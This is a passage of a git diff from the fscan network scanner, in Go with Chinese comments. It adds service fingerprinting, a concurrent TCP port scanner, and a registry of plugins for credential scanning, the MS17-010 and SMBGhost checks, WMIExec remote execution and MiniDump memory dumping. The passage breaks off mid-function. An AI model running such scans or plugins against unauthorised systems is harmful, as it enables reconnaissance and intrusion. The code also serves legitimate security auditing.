const maxFailures = 10 // 最大失败次数
|
||||
|
||||
// 遍历默认探测器列表
|
||||
for _, name := range Common.DefaultMap {
|
||||
// 跳过已使用的探测器
|
||||
if _, used := usedProbes[name]; used {
|
||||
continue
|
||||
}
|
||||
|
||||
probe := v.ProbesMapKName[name]
|
||||
probeData, err := DecodeData(probe.Data)
|
||||
if err != nil || len(probeData) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
// 发送探测数据并获取响应
|
||||
response := i.Connect(probeData)
|
||||
if len(response) == 0 {
|
||||
failCount++
|
||||
if failCount > maxFailures {
|
||||
return false
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
// 使用当前探测器检查响应
|
||||
i.GetInfo(response, &probe)
|
||||
if i.Found {
|
||||
return true
|
||||
}
|
||||
|
||||
// 根据探测器类型进行额外检查
|
||||
switch name {
|
||||
case "GenericLines":
|
||||
if i.tryProbes(response, []*Probe{null}) {
|
||||
return true
|
||||
}
|
||||
case "NULL":
|
||||
continue
|
||||
default:
|
||||
if i.tryProbes(response, []*Probe{common}) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// 尝试使用端口映射中的其他探测器
|
||||
if len(Common.PortMap[i.Port]) > 0 {
|
||||
for _, mappedName := range Common.PortMap[i.Port] {
|
||||
usedProbes[mappedName] = struct{}{}
|
||||
mappedProbe := v.ProbesMapKName[mappedName]
|
||||
i.GetInfo(response, &mappedProbe)
|
||||
if i.Found {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// GetInfo 分析响应数据并提取服务信息
|
||||
func (i *Info) GetInfo(response []byte, probe *Probe) {
|
||||
Common.LogDebug(fmt.Sprintf("开始分析响应数据,长度: %d", len(response)))
|
||||
|
||||
// 响应数据有效性检查
|
||||
if len(response) <= 0 {
|
||||
Common.LogDebug("响应数据为空")
|
||||
return
|
||||
}
|
||||
|
||||
result := &i.Result
|
||||
var (
|
||||
softMatch Match
|
||||
softFound bool
|
||||
)
|
||||
|
||||
// 处理主要匹配规则
|
||||
Common.LogDebug(fmt.Sprintf("处理探测器 %s 的主要匹配规则", probe.Name))
|
||||
if matched, match := i.processMatches(response, probe.Matchs); matched {
|
||||
Common.LogDebug("找到硬匹配")
|
||||
return
|
||||
} else if match != nil {
|
||||
Common.LogDebug("找到软匹配")
|
||||
softFound = true
|
||||
softMatch = *match
|
||||
}
|
||||
|
||||
// 处理回退匹配规则
|
||||
if probe.Fallback != "" {
|
||||
Common.LogDebug(fmt.Sprintf("尝试回退匹配: %s", probe.Fallback))
|
||||
if fbProbe, ok := v.ProbesMapKName[probe.Fallback]; ok {
|
||||
if matched, match := i.processMatches(response, fbProbe.Matchs); matched {
|
||||
Common.LogDebug("回退匹配成功")
|
||||
return
|
||||
} else if match != nil {
|
||||
Common.LogDebug("找到回退软匹配")
|
||||
softFound = true
|
||||
softMatch = *match
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 处理未找到匹配的情况
|
||||
if !i.Found {
|
||||
Common.LogDebug("未找到硬匹配,处理未匹配情况")
|
||||
i.handleNoMatch(response, result, softFound, softMatch)
|
||||
}
|
||||
}
|
||||
|
||||
// processMatches 处理匹配规则集
|
||||
func (i *Info) processMatches(response []byte, matches *[]Match) (bool, *Match) {
|
||||
Common.LogDebug(fmt.Sprintf("开始处理匹配规则,共 %d 条", len(*matches)))
|
||||
var softMatch *Match
|
||||
|
||||
for _, match := range *matches {
|
||||
if !match.MatchPattern(response) {
|
||||
continue
|
||||
}
|
||||
|
||||
if !match.IsSoft {
|
||||
Common.LogDebug(fmt.Sprintf("找到硬匹配: %s", match.Service))
|
||||
i.handleHardMatch(response, &match)
|
||||
return true, nil
|
||||
} else if softMatch == nil {
|
||||
Common.LogDebug(fmt.Sprintf("找到软匹配: %s", match.Service))
|
||||
tmpMatch := match
|
||||
softMatch = &tmpMatch
|
||||
}
|
||||
}
|
||||
|
||||
return false, softMatch
|
||||
}
|
||||
|
||||
// handleHardMatch 处理硬匹配结果
|
||||
func (i *Info) handleHardMatch(response []byte, match *Match) {
|
||||
Common.LogDebug(fmt.Sprintf("处理硬匹配结果: %s", match.Service))
|
||||
result := &i.Result
|
||||
extras := match.ParseVersionInfo(response)
|
||||
extrasMap := extras.ToMap()
|
||||
|
||||
result.Service.Name = match.Service
|
||||
result.Extras = extrasMap
|
||||
result.Banner = trimBanner(response)
|
||||
result.Service.Extras = extrasMap
|
||||
|
||||
// 特殊处理 microsoft-ds 服务
|
||||
if result.Service.Name == "microsoft-ds" {
|
||||
Common.LogDebug("特殊处理 microsoft-ds 服务")
|
||||
result.Service.Extras["hostname"] = result.Banner
|
||||
}
|
||||
|
||||
i.Found = true
|
||||
Common.LogDebug(fmt.Sprintf("服务识别结果: %s, Banner: %s", result.Service.Name, result.Banner))
|
||||
}
|
||||
|
||||
// handleNoMatch 处理未找到匹配的情况
|
||||
func (i *Info) handleNoMatch(response []byte, result *Result, softFound bool, softMatch Match) {
|
||||
Common.LogDebug("处理未匹配情况")
|
||||
result.Banner = trimBanner(response)
|
||||
|
||||
if !softFound {
|
||||
// 尝试识别 HTTP 服务
|
||||
if strings.Contains(result.Banner, "HTTP/") ||
|
||||
strings.Contains(result.Banner, "html") {
|
||||
Common.LogDebug("识别为HTTP服务")
|
||||
result.Service.Name = "http"
|
||||
} else {
|
||||
Common.LogDebug("未知服务")
|
||||
result.Service.Name = "unknown"
|
||||
}
|
||||
} else {
|
||||
Common.LogDebug("使用软匹配结果")
|
||||
extras := softMatch.ParseVersionInfo(response)
|
||||
result.Service.Extras = extras.ToMap()
|
||||
result.Service.Name = softMatch.Service
|
||||
i.Found = true
|
||||
Common.LogDebug(fmt.Sprintf("软匹配服务: %s", result.Service.Name))
|
||||
}
|
||||
}
|
||||
|
||||
// Connect 发送数据并获取响应
|
||||
func (i *Info) Connect(msg []byte) []byte {
|
||||
i.Write(msg)
|
||||
reply, _ := i.Read()
|
||||
return reply
|
||||
}
|
||||
|
||||
const WrTimeout = 5 // 默认读写超时时间(秒)
|
||||
|
||||
// Write 写入数据到连接
|
||||
func (i *Info) Write(msg []byte) error {
|
||||
if i.Conn == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 设置写入超时
|
||||
i.Conn.SetWriteDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout)))
|
||||
|
||||
// 写入数据
|
||||
_, err := i.Conn.Write(msg)
|
||||
if err != nil && strings.Contains(err.Error(), "close") {
|
||||
i.Conn.Close()
|
||||
// 连接关闭时重试
|
||||
i.Conn, err = net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", i.Address, i.Port), time.Duration(6)*time.Second)
|
||||
if err == nil {
|
||||
i.Conn.SetWriteDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout)))
|
||||
_, err = i.Conn.Write(msg)
|
||||
}
|
||||
}
|
||||
|
||||
// 记录发送的数据
|
||||
if err == nil {
|
||||
i.Result.Send = msg
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
// Read 从连接读取响应
|
||||
func (i *Info) Read() ([]byte, error) {
|
||||
if i.Conn == nil {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// 设置读取超时
|
||||
i.Conn.SetReadDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout)))
|
||||
|
||||
// 读取数据
|
||||
result, err := readFromConn(i.Conn)
|
||||
if err != nil && strings.Contains(err.Error(), "close") {
|
||||
return result, err
|
||||
}
|
||||
|
||||
// 记录接收到的数据
|
||||
if len(result) > 0 {
|
||||
i.Result.Recv = result
|
||||
}
|
||||
|
||||
return result, err
|
||||
}
|
||||
|
||||
// readFromConn 从连接读取数据的辅助函数
|
||||
func readFromConn(conn net.Conn) ([]byte, error) {
|
||||
size := 2 * 1024 // 读取缓冲区大小
|
||||
var result []byte
|
||||
|
||||
for {
|
||||
buf := make([]byte, size)
|
||||
count, err := conn.Read(buf)
|
||||
|
||||
if count > 0 {
|
||||
result = append(result, buf[:count]...)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
if len(result) > 0 {
|
||||
return result, nil
|
||||
}
|
||||
if err == io.EOF {
|
||||
return result, nil
|
||||
}
|
||||
return result, err
|
||||
}
|
||||
|
||||
if count < size {
|
||||
return result, nil
|
||||
}
|
||||
}
|
||||
}
|
262
Core/PortScan.go
Normal file
262
Core/PortScan.go
Normal file
@ -0,0 +1,262 @@
|
||||
package Core
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"net"
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Addr 表示待扫描的地址
|
||||
type Addr struct {
|
||||
ip string // IP地址
|
||||
port int // 端口号
|
||||
}
|
||||
|
||||
// ScanResult 扫描结果
|
||||
type ScanResult struct {
|
||||
Address string // IP地址
|
||||
Port int // 端口号
|
||||
Service *ServiceInfo // 服务信息
|
||||
}
|
||||
|
||||
// PortScan 执行端口扫描
|
||||
// hostslist: 待扫描的主机列表
|
||||
// ports: 待扫描的端口范围
|
||||
// timeout: 超时时间(秒)
|
||||
// 返回活跃地址列表
|
||||
func PortScan(hostslist []string, ports string, timeout int64) []string {
|
||||
var results []ScanResult
|
||||
var aliveAddrs []string
|
||||
var mu sync.Mutex
|
||||
|
||||
// 解析并验证端口列表
|
||||
probePorts := Common.ParsePort(ports)
|
||||
if len(probePorts) == 0 {
|
||||
Common.LogError(fmt.Sprintf("端口格式错误: %s", ports))
|
||||
return aliveAddrs
|
||||
}
|
||||
|
||||
// 排除指定端口
|
||||
probePorts = excludeNoPorts(probePorts)
|
||||
|
||||
// 初始化并发控制
|
||||
workers := Common.ThreadNum
|
||||
addrs := make(chan Addr, 100) // 待扫描地址通道
|
||||
scanResults := make(chan ScanResult, 100) // 扫描结果通道
|
||||
var wg sync.WaitGroup
|
||||
var workerWg sync.WaitGroup
|
||||
|
||||
// 启动扫描工作协程
|
||||
for i := 0; i < workers; i++ {
|
||||
workerWg.Add(1)
|
||||
go func() {
|
||||
defer workerWg.Done()
|
||||
for addr := range addrs {
|
||||
PortConnect(addr, scanResults, timeout, &wg)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// 启动结果处理协程
|
||||
var resultWg sync.WaitGroup
|
||||
resultWg.Add(1)
|
||||
go func() {
|
||||
defer resultWg.Done()
|
||||
for result := range scanResults {
|
||||
mu.Lock()
|
||||
results = append(results, result)
|
||||
aliveAddr := fmt.Sprintf("%s:%d", result.Address, result.Port)
|
||||
aliveAddrs = append(aliveAddrs, aliveAddr)
|
||||
mu.Unlock()
|
||||
}
|
||||
}()
|
||||
|
||||
// 分发扫描任务
|
||||
for _, port := range probePorts {
|
||||
for _, host := range hostslist {
|
||||
wg.Add(1)
|
||||
addrs <- Addr{host, port}
|
||||
}
|
||||
}
|
||||
|
||||
// 等待所有任务完成
|
||||
close(addrs)
|
||||
workerWg.Wait()
|
||||
wg.Wait()
|
||||
close(scanResults)
|
||||
resultWg.Wait()
|
||||
|
||||
return aliveAddrs
|
||||
}
|
||||
|
||||
// PortConnect 执行单个端口连接检测
|
||||
// addr: 待检测的地址
|
||||
// results: 结果通道
|
||||
// timeout: 超时时间
|
||||
// wg: 等待组
|
||||
func PortConnect(addr Addr, results chan<- ScanResult, timeout int64, wg *sync.WaitGroup) {
|
||||
defer wg.Done()
|
||||
|
||||
var isOpen bool
|
||||
var err error
|
||||
var conn net.Conn
|
||||
|
||||
// 尝试建立TCP连接
|
||||
conn, err = Common.WrapperTcpWithTimeout("tcp4",
|
||||
fmt.Sprintf("%s:%v", addr.ip, addr.port),
|
||||
time.Duration(timeout)*time.Second)
|
||||
if err == nil {
|
||||
defer conn.Close()
|
||||
isOpen = true
|
||||
}
|
||||
|
||||
if err != nil || !isOpen {
|
||||
return
|
||||
}
|
||||
|
||||
// 记录开放端口
|
||||
address := fmt.Sprintf("%s:%d", addr.ip, addr.port)
|
||||
Common.LogSuccess(fmt.Sprintf("端口开放 %s", address))
|
||||
|
||||
// 保存端口扫描结果
|
||||
portResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.PORT,
|
||||
Target: addr.ip,
|
||||
Status: "open",
|
||||
Details: map[string]interface{}{
|
||||
"port": addr.port,
|
||||
},
|
||||
}
|
||||
Common.SaveResult(portResult)
|
||||
|
||||
// 构造扫描结果
|
||||
result := ScanResult{
|
||||
Address: addr.ip,
|
||||
Port: addr.port,
|
||||
}
|
||||
|
||||
// 执行服务识别
|
||||
if !Common.SkipFingerprint && conn != nil {
|
||||
scanner := NewPortInfoScanner(addr.ip, addr.port, conn, time.Duration(timeout)*time.Second)
|
||||
if serviceInfo, err := scanner.Identify(); err == nil {
|
||||
result.Service = serviceInfo
|
||||
|
||||
// 构造服务识别日志
|
||||
var logMsg strings.Builder
|
||||
logMsg.WriteString(fmt.Sprintf("服务识别 %s => ", address))
|
||||
|
||||
if serviceInfo.Name != "unknown" {
|
||||
logMsg.WriteString(fmt.Sprintf("[%s]", serviceInfo.Name))
|
||||
}
|
||||
|
||||
if serviceInfo.Version != "" {
|
||||
logMsg.WriteString(fmt.Sprintf(" 版本:%s", serviceInfo.Version))
|
||||
}
|
||||
|
||||
// 收集服务详细信息
|
||||
details := map[string]interface{}{
|
||||
"port": addr.port,
|
||||
"service": serviceInfo.Name,
|
||||
}
|
||||
|
||||
// 添加版本信息
|
||||
if serviceInfo.Version != "" {
|
||||
details["version"] = serviceInfo.Version
|
||||
}
|
||||
|
||||
// 添加产品信息
|
||||
if v, ok := serviceInfo.Extras["vendor_product"]; ok && v != "" {
|
||||
details["product"] = v
|
||||
logMsg.WriteString(fmt.Sprintf(" 产品:%s", v))
|
||||
}
|
||||
|
||||
// 添加操作系统信息
|
||||
if v, ok := serviceInfo.Extras["os"]; ok && v != "" {
|
||||
details["os"] = v
|
||||
logMsg.WriteString(fmt.Sprintf(" 系统:%s", v))
|
||||
}
|
||||
|
||||
// 添加额外信息
|
||||
if v, ok := serviceInfo.Extras["info"]; ok && v != "" {
|
||||
details["info"] = v
|
||||
logMsg.WriteString(fmt.Sprintf(" 信息:%s", v))
|
||||
}
|
||||
|
||||
// 添加Banner信息
|
||||
if len(serviceInfo.Banner) > 0 && len(serviceInfo.Banner) < 100 {
|
||||
details["banner"] = strings.TrimSpace(serviceInfo.Banner)
|
||||
logMsg.WriteString(fmt.Sprintf(" Banner:[%s]", strings.TrimSpace(serviceInfo.Banner)))
|
||||
}
|
||||
|
||||
// 保存服务识别结果
|
||||
serviceResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.SERVICE,
|
||||
Target: addr.ip,
|
||||
Status: "identified",
|
||||
Details: details,
|
||||
}
|
||||
Common.SaveResult(serviceResult)
|
||||
|
||||
Common.LogSuccess(logMsg.String())
|
||||
}
|
||||
}
|
||||
|
||||
results <- result
|
||||
}
|
||||
|
||||
// NoPortScan 生成端口列表(不进行扫描)
|
||||
// hostslist: 主机列表
|
||||
// ports: 端口范围
|
||||
// 返回地址列表
|
||||
func NoPortScan(hostslist []string, ports string) []string {
|
||||
var AliveAddress []string
|
||||
|
||||
// 解析并排除端口
|
||||
probePorts := excludeNoPorts(Common.ParsePort(ports))
|
||||
|
||||
// 生成地址列表
|
||||
for _, port := range probePorts {
|
||||
for _, host := range hostslist {
|
||||
address := fmt.Sprintf("%s:%d", host, port)
|
||||
AliveAddress = append(AliveAddress, address)
|
||||
}
|
||||
}
|
||||
|
||||
return AliveAddress
|
||||
}
|
||||
|
||||
// excludeNoPorts 排除指定的端口
|
||||
// ports: 原始端口列表
|
||||
// 返回过滤后的端口列表
|
||||
func excludeNoPorts(ports []int) []int {
|
||||
noPorts := Common.ParsePort(Common.ExcludePorts)
|
||||
if len(noPorts) == 0 {
|
||||
return ports
|
||||
}
|
||||
|
||||
// 使用map过滤端口
|
||||
temp := make(map[int]struct{})
|
||||
for _, port := range ports {
|
||||
temp[port] = struct{}{}
|
||||
}
|
||||
|
||||
// 移除需要排除的端口
|
||||
for _, port := range noPorts {
|
||||
delete(temp, port)
|
||||
}
|
||||
|
||||
// 转换为有序切片
|
||||
var newPorts []int
|
||||
for port := range temp {
|
||||
newPorts = append(newPorts, port)
|
||||
}
|
||||
sort.Ints(newPorts)
|
||||
|
||||
return newPorts
|
||||
}
|
254
Core/Registry.go
Normal file
254
Core/Registry.go
Normal file
@ -0,0 +1,254 @@
|
||||
package Core
|
||||
|
||||
import (
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"github.com/shadow1ng/fscan/Plugins"
|
||||
)
|
||||
|
||||
// init 初始化并注册所有扫描插件
|
||||
// 包括标准端口服务扫描、特殊扫描类型和本地信息收集等
|
||||
func init() {
|
||||
// 1. 标准网络服务扫描插件
|
||||
// 文件传输和远程访问服务
|
||||
Common.RegisterPlugin("ftp", Common.ScanPlugin{
|
||||
Name: "FTP",
|
||||
Ports: []int{21},
|
||||
ScanFunc: Plugins.FtpScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("ssh", Common.ScanPlugin{
|
||||
Name: "SSH",
|
||||
Ports: []int{22, 2222},
|
||||
ScanFunc: Plugins.SshScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("telnet", Common.ScanPlugin{
|
||||
Name: "Telnet",
|
||||
Ports: []int{23},
|
||||
ScanFunc: Plugins.TelnetScan,
|
||||
})
|
||||
|
||||
// Windows网络服务
|
||||
Common.RegisterPlugin("findnet", Common.ScanPlugin{
|
||||
Name: "FindNet",
|
||||
Ports: []int{135},
|
||||
ScanFunc: Plugins.Findnet,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("netbios", Common.ScanPlugin{
|
||||
Name: "NetBIOS",
|
||||
Ports: []int{139},
|
||||
ScanFunc: Plugins.NetBIOS,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("smb", Common.ScanPlugin{
|
||||
Name: "SMB",
|
||||
Ports: []int{445},
|
||||
ScanFunc: Plugins.SmbScan,
|
||||
})
|
||||
|
||||
// 数据库服务
|
||||
Common.RegisterPlugin("mssql", Common.ScanPlugin{
|
||||
Name: "MSSQL",
|
||||
Ports: []int{1433, 1434},
|
||||
ScanFunc: Plugins.MssqlScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("oracle", Common.ScanPlugin{
|
||||
Name: "Oracle",
|
||||
Ports: []int{1521, 1522, 1526},
|
||||
ScanFunc: Plugins.OracleScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("mysql", Common.ScanPlugin{
|
||||
Name: "MySQL",
|
||||
Ports: []int{3306, 3307, 13306, 33306},
|
||||
ScanFunc: Plugins.MysqlScan,
|
||||
})
|
||||
|
||||
// 中间件和消息队列服务
|
||||
Common.RegisterPlugin("elasticsearch", Common.ScanPlugin{
|
||||
Name: "Elasticsearch",
|
||||
Ports: []int{9200, 9300},
|
||||
ScanFunc: Plugins.ElasticScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("rabbitmq", Common.ScanPlugin{
|
||||
Name: "RabbitMQ",
|
||||
Ports: []int{5672, 5671, 15672, 15671},
|
||||
ScanFunc: Plugins.RabbitMQScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("kafka", Common.ScanPlugin{
|
||||
Name: "Kafka",
|
||||
Ports: []int{9092, 9093},
|
||||
ScanFunc: Plugins.KafkaScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("activemq", Common.ScanPlugin{
|
||||
Name: "ActiveMQ",
|
||||
Ports: []int{61613},
|
||||
ScanFunc: Plugins.ActiveMQScan,
|
||||
})
|
||||
|
||||
// 目录和认证服务
|
||||
Common.RegisterPlugin("ldap", Common.ScanPlugin{
|
||||
Name: "LDAP",
|
||||
Ports: []int{389, 636},
|
||||
ScanFunc: Plugins.LDAPScan,
|
||||
})
|
||||
|
||||
// 邮件服务
|
||||
Common.RegisterPlugin("smtp", Common.ScanPlugin{
|
||||
Name: "SMTP",
|
||||
Ports: []int{25, 465, 587},
|
||||
ScanFunc: Plugins.SmtpScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("imap", Common.ScanPlugin{
|
||||
Name: "IMAP",
|
||||
Ports: []int{143, 993},
|
||||
ScanFunc: Plugins.IMAPScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("pop3", Common.ScanPlugin{
|
||||
Name: "POP3",
|
||||
Ports: []int{110, 995},
|
||||
ScanFunc: Plugins.POP3Scan,
|
||||
})
|
||||
|
||||
// 网络管理和监控服务
|
||||
Common.RegisterPlugin("snmp", Common.ScanPlugin{
|
||||
Name: "SNMP",
|
||||
Ports: []int{161, 162},
|
||||
ScanFunc: Plugins.SNMPScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("modbus", Common.ScanPlugin{
|
||||
Name: "Modbus",
|
||||
Ports: []int{502, 5020},
|
||||
ScanFunc: Plugins.ModbusScan,
|
||||
})
|
||||
|
||||
// 数据同步和备份服务
|
||||
Common.RegisterPlugin("rsync", Common.ScanPlugin{
|
||||
Name: "Rsync",
|
||||
Ports: []int{873},
|
||||
ScanFunc: Plugins.RsyncScan,
|
||||
})
|
||||
|
||||
// NoSQL数据库
|
||||
Common.RegisterPlugin("cassandra", Common.ScanPlugin{
|
||||
Name: "Cassandra",
|
||||
Ports: []int{9042},
|
||||
ScanFunc: Plugins.CassandraScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("neo4j", Common.ScanPlugin{
|
||||
Name: "Neo4j",
|
||||
Ports: []int{7687},
|
||||
ScanFunc: Plugins.Neo4jScan,
|
||||
})
|
||||
|
||||
// 远程桌面和显示服务
|
||||
Common.RegisterPlugin("rdp", Common.ScanPlugin{
|
||||
Name: "RDP",
|
||||
Ports: []int{3389, 13389, 33389},
|
||||
ScanFunc: Plugins.RdpScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("postgres", Common.ScanPlugin{
|
||||
Name: "PostgreSQL",
|
||||
Ports: []int{5432, 5433},
|
||||
ScanFunc: Plugins.PostgresScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("vnc", Common.ScanPlugin{
|
||||
Name: "VNC",
|
||||
Ports: []int{5900, 5901, 5902},
|
||||
ScanFunc: Plugins.VncScan,
|
||||
})
|
||||
|
||||
// 缓存和键值存储服务
|
||||
Common.RegisterPlugin("redis", Common.ScanPlugin{
|
||||
Name: "Redis",
|
||||
Ports: []int{6379, 6380, 16379},
|
||||
ScanFunc: Plugins.RedisScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("fcgi", Common.ScanPlugin{
|
||||
Name: "FastCGI",
|
||||
Ports: []int{9000},
|
||||
ScanFunc: Plugins.FcgiScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("memcached", Common.ScanPlugin{
|
||||
Name: "Memcached",
|
||||
Ports: []int{11211},
|
||||
ScanFunc: Plugins.MemcachedScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("mongodb", Common.ScanPlugin{
|
||||
Name: "MongoDB",
|
||||
Ports: []int{27017, 27018},
|
||||
ScanFunc: Plugins.MongodbScan,
|
||||
})
|
||||
|
||||
// 2. 特殊漏洞扫描插件
|
||||
Common.RegisterPlugin("ms17010", Common.ScanPlugin{
|
||||
Name: "MS17010",
|
||||
Ports: []int{445},
|
||||
ScanFunc: Plugins.MS17010,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("smbghost", Common.ScanPlugin{
|
||||
Name: "SMBGhost",
|
||||
Ports: []int{445},
|
||||
ScanFunc: Plugins.SmbGhost,
|
||||
})
|
||||
|
||||
// 3. Web应用扫描插件
|
||||
Common.RegisterPlugin("webtitle", Common.ScanPlugin{
|
||||
Name: "WebTitle",
|
||||
Ports: Common.ParsePortsFromString(Common.WebPorts),
|
||||
ScanFunc: Plugins.WebTitle,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("webpoc", Common.ScanPlugin{
|
||||
Name: "WebPoc",
|
||||
Ports: Common.ParsePortsFromString(Common.WebPorts),
|
||||
ScanFunc: Plugins.WebPoc,
|
||||
})
|
||||
|
||||
// 4. Windows系统专用插件
|
||||
Common.RegisterPlugin("smb2", Common.ScanPlugin{
|
||||
Name: "SMBScan2",
|
||||
Ports: []int{445},
|
||||
ScanFunc: Plugins.SmbScan2,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("wmiexec", Common.ScanPlugin{
|
||||
Name: "WMIExec",
|
||||
Ports: []int{135},
|
||||
ScanFunc: Plugins.WmiExec,
|
||||
})
|
||||
|
||||
// 5. 本地信息收集插件
|
||||
Common.RegisterPlugin("localinfo", Common.ScanPlugin{
|
||||
Name: "LocalInfo",
|
||||
Ports: []int{},
|
||||
ScanFunc: Plugins.LocalInfoScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("dcinfo", Common.ScanPlugin{
|
||||
Name: "DCInfo",
|
||||
Ports: []int{},
|
||||
ScanFunc: Plugins.DCInfoScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("minidump", Common.ScanPlugin{
|
||||
Name: "MiniDump",
|
||||
Ports: []int{},
|
||||
ScanFunc: Plugins.MiniDump,
|
||||
})
|
||||
}
|
467
Core/Scanner.go
Normal file
467
Core/Scanner.go
Normal file
@ -0,0 +1,467 @@
|
||||
package Core
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/schollz/progressbar/v3"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
// 全局变量定义
|
||||
var (
|
||||
LocalScan bool // 本地扫描模式标识
|
||||
WebScan bool // Web扫描模式标识
|
||||
)
|
||||
|
||||
// Scan 执行扫描主流程
|
||||
// info: 主机信息结构体,包含扫描目标的基本信息
|
||||
func Scan(info Common.HostInfo) {
|
||||
Common.LogInfo("开始信息扫描")
|
||||
|
||||
// 初始化HTTP客户端配置
|
||||
lib.Inithttp()
|
||||
|
||||
// 初始化并发控制
|
||||
ch := make(chan struct{}, Common.ThreadNum)
|
||||
wg := sync.WaitGroup{}
|
||||
|
||||
// 根据扫描模式执行不同的扫描策略
|
||||
switch {
|
||||
case Common.LocalMode:
|
||||
// 本地信息收集模式
|
||||
LocalScan = true
|
||||
executeLocalScan(info, &ch, &wg)
|
||||
case len(Common.URLs) > 0:
|
||||
// Web扫描模式
|
||||
WebScan = true
|
||||
executeWebScan(info, &ch, &wg)
|
||||
default:
|
||||
// 主机扫描模式
|
||||
executeHostScan(info, &ch, &wg)
|
||||
}
|
||||
|
||||
// 等待所有扫描任务完成
|
||||
finishScan(&wg)
|
||||
}
|
||||
|
||||
// executeLocalScan 执行本地扫描
|
||||
// info: 主机信息
|
||||
// ch: 并发控制通道
|
||||
// wg: 等待组
|
||||
func executeLocalScan(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||
Common.LogInfo("执行本地信息收集")
|
||||
|
||||
// 获取本地模式支持的插件列表
|
||||
validLocalPlugins := getValidPlugins(Common.ModeLocal)
|
||||
|
||||
// 验证扫描模式的合法性
|
||||
if err := validateScanMode(validLocalPlugins, Common.ModeLocal); err != nil {
|
||||
Common.LogError(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
// 输出使用的插件信息
|
||||
if Common.ScanMode == Common.ModeLocal {
|
||||
Common.LogInfo("使用全部本地插件")
|
||||
Common.ParseScanMode(Common.ScanMode)
|
||||
} else {
|
||||
Common.LogInfo(fmt.Sprintf("使用插件: %s", Common.ScanMode))
|
||||
}
|
||||
|
||||
// 执行扫描任务
|
||||
executeScans([]Common.HostInfo{info}, ch, wg)
|
||||
}
|
||||
|
||||
// executeWebScan 执行Web扫描
|
||||
// info: 主机信息
|
||||
// ch: 并发控制通道
|
||||
// wg: 等待组
|
||||
func executeWebScan(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||
Common.LogInfo("开始Web扫描")
|
||||
|
||||
// 获取Web模式支持的插件列表
|
||||
validWebPlugins := getValidPlugins(Common.ModeWeb)
|
||||
|
||||
// 验证扫描模式的合法性
|
||||
if err := validateScanMode(validWebPlugins, Common.ModeWeb); err != nil {
|
||||
Common.LogError(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
// 处理目标URL列表
|
||||
var targetInfos []Common.HostInfo
|
||||
for _, url := range Common.URLs {
|
||||
urlInfo := info
|
||||
// 确保URL包含协议头
|
||||
if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") {
|
||||
url = "http://" + url
|
||||
}
|
||||
urlInfo.Url = url
|
||||
targetInfos = append(targetInfos, urlInfo)
|
||||
}
|
||||
|
||||
// 输出使用的插件信息
|
||||
if Common.ScanMode == Common.ModeWeb {
|
||||
Common.LogInfo("使用全部Web插件")
|
||||
Common.ParseScanMode(Common.ScanMode)
|
||||
} else {
|
||||
Common.LogInfo(fmt.Sprintf("使用插件: %s", Common.ScanMode))
|
||||
}
|
||||
|
||||
// 执行扫描任务
|
||||
executeScans(targetInfos, ch, wg)
|
||||
}
|
||||
|
||||
// executeHostScan 执行主机扫描
|
||||
// info: 主机信息
|
||||
// ch: 并发控制通道
|
||||
// wg: 等待组
|
||||
func executeHostScan(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||
// 验证扫描目标
|
||||
if info.Host == "" {
|
||||
Common.LogError("未指定扫描目标")
|
||||
return
|
||||
}
|
||||
|
||||
// 解析目标主机
|
||||
